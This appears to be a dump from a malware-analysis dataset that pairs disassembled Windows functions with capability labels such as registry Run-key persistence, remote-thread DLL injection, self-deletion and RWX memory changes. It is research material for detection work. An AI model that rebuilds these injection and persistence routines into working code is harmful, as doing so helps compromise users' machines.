joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4044c0
Capabilities:
Create directory
Get common file path
Get file attributes
Set current directory
Terminate process

Disassembly:
sub esp, 0x120
mov ecx, 0x105
lea eax, [esp + 0x18]
nop
mov byte [eax], 0
inc eax
sub ecx, 1
jne 0x4044d0
push ebp
push esi
push edi
lea eax, [esp + 0x24]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ebp, dword [sym.imp.msvcrt.dll_rand]
mov dword [esp + 0xc], 4
lea ebx, [ebx]
xor esi, esi
cmp esi, 0x13
jge 0x404524
call ebp
xor edx, edx
div dword [0x4aa168]
mov ecx, dword [0x4aa164]
inc esi
cmp esi, 0x13
mov dl, byte [edx + ecx]
mov byte [esp + esi + 0xf], dl
jl 0x404507
mov byte [esp + 0x22], 0
mov eax, 0x105
lea ecx, [esp + 0x24]
cmp byte [ecx], 0
je 0x40453f
inc ecx
sub eax, 1
jne 0x404532
jmp 0x404582
test eax, eax
je 0x404582
mov edx, 0x105
sub edx, eax
mov ecx, 0x105
sub ecx, edx
lea eax, [esp + edx + 0x24]
je 0x40457e
lea edi, [esp + 0x10]
lea esi, [ecx + edx + 0x7ffffefa]
sub edi, eax
test esi, esi
je 0x40457a
mov dl, byte [edi + eax]
test dl, dl
je 0x40457a
mov byte [eax], dl
dec ecx
inc eax
dec esi
test ecx, ecx
jne 0x404564
jmp 0x40457e
test ecx, ecx
jne 0x40457f
dec eax
mov byte [eax], 0
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
test al, 0x10
jne 0x4045a5
mov eax, dword [esp + 0xc]
inc eax
cmp eax, 0x2a
mov dword [esp + 0xc], eax
jl 0x404500
jmp 0x404602
mov eax, 0x104
mov ecx, 0x4df628
nop
cmp byte [ecx], 0
je 0x4045bd
inc ecx
sub eax, 1
jne 0x4045b0
jmp 0x404602
test eax, eax
je 0x404602
mov edx, 0x104
sub edx, eax
mov ecx, 0x104
sub ecx, edx
lea eax, [edx + 0x4df628]
je 0x4045fe
lea edi, [esp + 0x24]
lea esi, [ecx + edx + 0x7ffffefb]
sub edi, eax
test esi, esi
je 0x4045fa
mov dl, byte [edi + eax]
test dl, dl
je 0x4045fa
mov byte [eax], dl
dec ecx
inc eax
dec esi
test ecx, ecx
jne 0x4045e4
jmp 0x4045fe
test ecx, ecx
jne 0x4045ff
dec eax
mov byte [eax], 0
push 0x4df628
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
pop edi
pop esi
pop ebp
test al, 0x10
jne 0x40461c
push 0x3b
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push 0x4df628
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x404635
push 0x3b
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x4df628
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
jne 0x40464c
push 0x3b
call dword [sym.imp.KERNEL32.dll_ExitProcess]
add esp, 0x120
ret
Function at 0x404900
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x38
push esi
push edi
call fcn.00404250
call fcn.00404fc0
mov esi, dword [esp + 0x48]
mov edi, dword [esp + 0x44]
push esi
push edi
call fcn.00403720
push esi
push edi
call fcn.00401670
mov eax, dword [esi]
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x404964
mov ecx, dword [esi]
push 0x4dfb6c
push 0x4df960
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
je 0x404959
cmp eax, 0x104
jbe 0x404983
pop edi
mov eax, 0x3c
pop esi
add esp, 0x38
ret
mov edx, dword [sym.imp.msvcrt.dll__pgmptr]
mov byte [0x4dfa63], 0
mov eax, dword [edx]
push eax
push 0x104
push 0x4df960
call fcn.00407b70
push ebp
push 0
call dword [sym.imp.msvcrt.dll__time64]
push eax
call dword [sym.imp.msvcrt.dll_srand]
add esp, 8
push 0x4dfa68
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
call fcn.004044c0
call fcn.00403930
push esi
push edi
call fcn.00404390
mov esi, dword [0x4df850]
push esi
call fcn.00401480
add esp, 0xc
mov edi, 1
mov ebp, eax
lea ecx, [ecx]
cmp ebp, 0x63
jne 0x4049e1
push 0
call fcn.004057b0
add esp, 4
jmp 0x4049cb
mov ecx, dword [0x4df840]
test ecx, ecx
je 0x404a2e
mov edx, dword [0x4df844]
test edx, edx
jne 0x404a2e
mov eax, dword [0x4aa114]
push eax
push esi
call fcn.00404f30
add esp, 8
test eax, eax
jne 0x404a23
push eax
push edi
push eax
push esi
call fcn.004044b0
add esp, 0x10
test eax, eax
jne 0x404a23
mov dword [0x4df844], edi
lea ebp, [eax + 0x63]
jmp 0x4049d0
push 0xffffffffffffffff
push esi
call fcn.00404f70
add esp, 8
mov edi, dword [0x4df848]
mov ecx, dword [0x4a9fcc]
push ecx
call fcn.004042d0
add esp, 4
cmp edi, 0xffffffff
je 0x404a54
push 0x1388
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call fcn.00401a70
push esi
call fcn.00401aa0
mov edx, dword [0x4df84c]
add esp, 4
test edx, edx
je 0x404abf
mov esi, dword [sym.imp.KERNEL32.dll_GetStdHandle]
push ebx
push 0xfffffffffffffff6
call esi
push 0xfffffffffffffff5
mov edi, eax
call esi
mov esi, dword [0x4a9ff4]
mov ecx, esi
mov dword [esp + 0x10], 0
lea ebx, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x404a90
push 0
lea edx, [esp + 0x14]
push edx
sub ecx, ebx
push ecx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push 0
lea eax, [esp + 0x14]
push eax
push 0x31
lea ecx, [esp + 0x20]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
pop ebx
push 0x4df628
call fcn.00401a00
push 0x4df628
call fcn.00403ba0
add esp, 8
mov eax, ebp
pop ebp
pop edi
pop esi
add esp, 0x38
ret
Function at 0x404c00
Capabilities:
Terminate process

Disassembly:
push ecx
mov eax, dword [0x4a9fdc]
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push eax
push 0xffffd8ee
push esi
call fcn.00403700
mov ecx, dword [0x4a9eec]
push ecx
push 0xffffffffffffffff
push esi
call fcn.00403700
mov ebx, dword [esp + 0x38]
push ebx
mov dword [esp + 0x28], ebx
call dword [sym.imp.msvcrt.dll_malloc]
mov edi, eax
add esp, 0x1c
test edi, edi
je 0x404ca3
mov edx, dword [esp + 0x1c]
push ebp
push ebx
push edx
push edi
call sub.msvcrt.dll_memcpy
lea eax, [esp + 0x1c]
push eax
push edi
call fcn.004086a0
mov ebx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x24]
push ebx
push ecx
push edi
push esi
call fcn.0040c770
push edi
mov ebp, eax
call dword [sym.imp.msvcrt.dll_free]
add esp, 0x28
cmp ebp, 1
pop ebp
jne 0x404c9e
push 0
push 0xffffffffffffffff
push esi
call fcn.004014e0
mov edi, dword [esp + 0x24]
push edi
push ebx
push eax
push esi
call fcn.00403c60
push edi
push 0xfffffffffffffffd
push esi
call fcn.00404670
add esp, 0x28
pop edi
pop esi
pop ebx
pop ecx
ret
push 0x3d
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x404d93
Capabilities:
Terminate process

Disassembly:
call fcn.0040e040
jmp 0x40d94b
push 0x58
push 0x4a5348
call fcn.0040df14
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 4], 1
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, 0x4e02a0
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
test eax, eax
je 0x40d9ab
cmp eax, esi
jne 0x40d99e
xor esi, esi
inc esi
mov ebx, esi
jmp 0x40d9ae
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40d985
xor esi, esi
inc esi
mov eax, dword [0x4e029c]
cmp eax, esi
jne 0x40d9c1
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x40d9f0
mov eax, dword [0x4e029c]
test eax, eax
jne 0x40d9ea
mov dword [0x4e029c], esi
push 0x4103f8
push 0x4103e8
call fcn.00401236
pop ecx
pop ecx
test eax, eax
je 0x40d9f0
jmp 0x40db18
mov dword [0x4dff60], esi
mov eax, dword [0x4e029c]
cmp eax, esi
jne 0x40da14
push 0x4103e4
push 0x410248
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x4e029c], 2
test ebx, ebx
jne 0x40da20
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x4e02a4], 0
je 0x40da44
push 0x4e02a4
call fcn.0040dd74
pop ecx
test eax, eax
je 0x40da44
push 0
push 2
push 0
call dword [0x4e02a4]
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x40daa0
test al, al
je 0x40da5e
cmp dword [ebp - 0x1c], 0
jne 0x40daa0
mov al, byte [esi]
test al, al
je 0x40da6e
cmp al, 0x20
ja 0x40da6e
inc esi
mov dword [ebp - 0x20], esi
jmp 0x40da5e
test byte [ebp - 0x3c], 1
je 0x40da7a
movzx eax, word [ebp - 0x38]
jmp 0x40da7d
push 0xa
pop eax
push eax
push esi
push 0
push 0x400000
call main
mov dword [0x4dff5c], eax
cmp dword [0x4dff50], 0
jne 0x40daf4
push eax
call dword [sym.imp.msvcrt.dll_exit]
cmp al, 0x22
jne 0x40daaf
xor ecx, ecx
cmp dword [ebp - 0x1c], ecx
sete cl
mov dword [ebp - 0x1c], ecx
movzx eax, al
push eax
call dword [sym.imp.msvcrt.dll__ismbblead]
pop ecx
test eax, eax
je 0x40dac2
inc esi
mov dword [ebp - 0x20], esi
inc esi
jmp 0x40da4b
cmp dword [0x4dff60], 0
jne 0x40db03
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x4dff5c]
jmp 0x40db24
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.0040df59
ret
Function at 0x405a60
Capabilities:
Get file size

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0
push 0x80
push 3
push 0
push 7
push 0x80000000
push eax
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esi + 8], eax
cmp eax, 0xffffffff
jne 0x405a91
mov eax, 0xffffffc9
pop esi
ret 4
push 0
push 0
push 0
push 2
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
jne 0x405ab3
mov eax, 0xffffffca
pop esi
ret 4
push edi
push 0
push 0
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
test edi, edi
jne 0x405ad1
lea eax, [edi - 0x35]
pop edi
pop esi
ret 4
mov ecx, dword [esi + 8]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
jne 0x405aec
pop edi
mov eax, 0xffffffcc
pop esi
ret 4
add eax, edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], eax
pop edi
xor eax, eax
pop esi
ret 4
Function at 0x407440
Capabilities:
Read file via mapping
Set environment variable

Disassembly:
sub esp, 0x40
push 0
push 0x10
push 0
push 0x8000040
lea eax, [esp + 0x10]
push eax
push 0xffffffffffffffff
mov dword [esp + 0x18], 0xc
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 1
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [0x4dfba4], eax
test eax, eax
je 0x40751b
push esi
push edi
push 0x10
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 2
push 1
push 0
push esi
mov dword [esi + 4], eax
mov dword [esi + 0xc], 0xffffffff
call edi
push eax
call edi
push eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
cmp dword [esi], 0xffffffff
je 0x4074fc
mov ecx, dword [0x4dfba4]
push ecx
push 0x42a738
lea edx, [esp + 0x1c]
push 0x32
push edx
call dword [sym.imp.msvcrt.dll__snprintf]
add esp, 0x10
test eax, eax
jle 0x4074fc
mov ecx, dword [esp + 0x4c]
lea eax, [esp + 0x14]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
pop edi
mov eax, esi
pop esi
add esp, 0x40
ret
mov edx, dword [0x4dfba4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov dword [0x4dfba4], 0
xor eax, eax
pop esi
add esp, 0x40
ret
xor eax, eax
add esp, 0x40
ret

Function at 0x407530
Capabilities:
Query environment variable
Read file via mapping

Disassembly:
sub esp, 0x34
push 0x32
lea eax, [esp + 4]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jbe 0x40756e
lea edx, [esp]
push edx
call dword [sym.imp.msvcrt.dll_atoi]
add esp, 4
mov dword [0x4dfba4], eax
test eax, eax
je 0x40756e
push 0x10
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
add esp, 0x34
ret
xor eax, eax
add esp, 0x34
ret
Function at 0x407a70
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
push ebx
mov ebx, dword [esp + 0x20]
push esi
mov esi, dword [sym.imp.msvcrt.dll_malloc]
push edi
push ebx
call esi
mov edi, eax
add esp, 4
test edi, edi
jne 0x407a93
pop edi
pop esi
pop ebx
add esp, 8
ret
mov eax, dword [esp + 0x24]
push ebp
push eax
mov dword [esp + 0x14], eax
call esi
mov ecx, dword [esp + 0x28]
mov esi, eax
mov eax, dword [esp + 0x14]
push eax
push ecx
push esi
call sub.msvcrt.dll_memcpy
lea edx, [esp + 0x20]
push edx
push esi
call fcn.004086a0
mov eax, dword [esp + 0x28]
push ebx
push edi
push eax
push esi
call fcn.0040c740
mov ebp, dword [sym.imp.msvcrt.dll_free]
add esp, 0x28
push esi
test eax, eax
jne 0x407ade
call ebp
add esp, 4
jmp 0x407b38
call ebp
mov ecx, dword [esp + 0x20]
add esp, 4
push 0
push 0x80
push 1
push 0
push 7
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x407b38
push 0
lea edx, [esp + 0x18]
push edx
push ebx
push edi
push esi
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x407b31
push edi
call ebp
add esp, 4
xor edi, edi
cmp dword [esp + 0x14], ebx
je 0x407b4c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x407b42
push edi
call ebp
add esp, 4
pop ebp
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 8
ret
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop ebp
pop edi
pop esi
pop ebx
add esp, 8
ret
Function at 0x6e0412f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x6e041325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x6e041325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x6e04132c
mov eax, 1
jmp 0x6e041331
mov eax, 0
leave
ret

Function at 0x6e041333
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [ebp - 0x110], 0
lea eax, [ebp - 0x110]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
test eax, eax
je 0x6e0413ad
mov dword [esp], str.Error:_Cannot_open_the_registry_
call sym._puts
jmp 0x6e04143a
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._lstrlenA_4
sub esp, 4
add eax, 1
mov edx, eax
mov eax, dword [ebp - 0x110]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x10c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
test eax, eax
je 0x6e04141d
mov dword [esp], str.Error:_Cannot_add_the_current_path_to_the_registry_
call sym._puts
mov eax, dword [ebp - 0x110]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
jmp 0x6e04143a
mov eax, dword [ebp - 0x110]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
mov dword [esp], str.Success:_Added_to_the_registry_
call sym._puts
leave
ret
Function at 0x6e0414a6
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0xc], eax
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov dword [esp + 0xc], 0x8000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x6e0415f6
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.File_size_is__d_n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x6e041664
mov dword [esp], str.Malloc_failed_
call sym._puts
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x6e04186e
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x6e041c00
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6e04603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x6e046034]
sub esp, 4
test ebx, ebx
je 0x6e041c4b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6e041c44
test esi, esi
je 0x6e041c44
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6e041c20
mov dword [esp], 0x6e04603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x6e041e30
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6e044224
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x6e041e80
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x6e041f58
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6e041ebe
cmp eax, 4
jne 0x6e041ee0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6e041ece
cmp edx, 4
je 0x6e041ece
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6e041e30
Function at 0x503b8c
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x503376
mov dword [0x50521c], 2
jmp 0x503bbc
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x50408c
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x503c8f
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x503cbc
push 0x505248
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x503c8f
mov eax, dword [0x505250]
jmp 0x503cc9
call 0x502c0d
ret

Function at 0x4030d8
Capabilities:
Enumerate processes

Disassembly:
push 0
push 2
call dword [sym.imp.kernel32.dll_CreateToolhelp32Snapshot]
mov dword [0x401004], eax
mov eax, 0x128
mov dword [0x401008], eax
push 0x401008
push dword [section..flat]
call dword [sym.imp.kernel32.dll_Process32First]
push str.HIDmon.exe
push 0x40102c
call dword [sym.imp.kernel32.dll_lstrcmpA]
cmp eax, 0
je 0x40312f
push 0x401008
push dword [0x401004]
call dword [sym.imp.kernel32.dll_Process32Next]
cmp eax, 0
je 0x40312f
jmp 0x403102
push dword [0x401004]
call dword [sym.imp.kernel32.dll_CloseHandle]
ret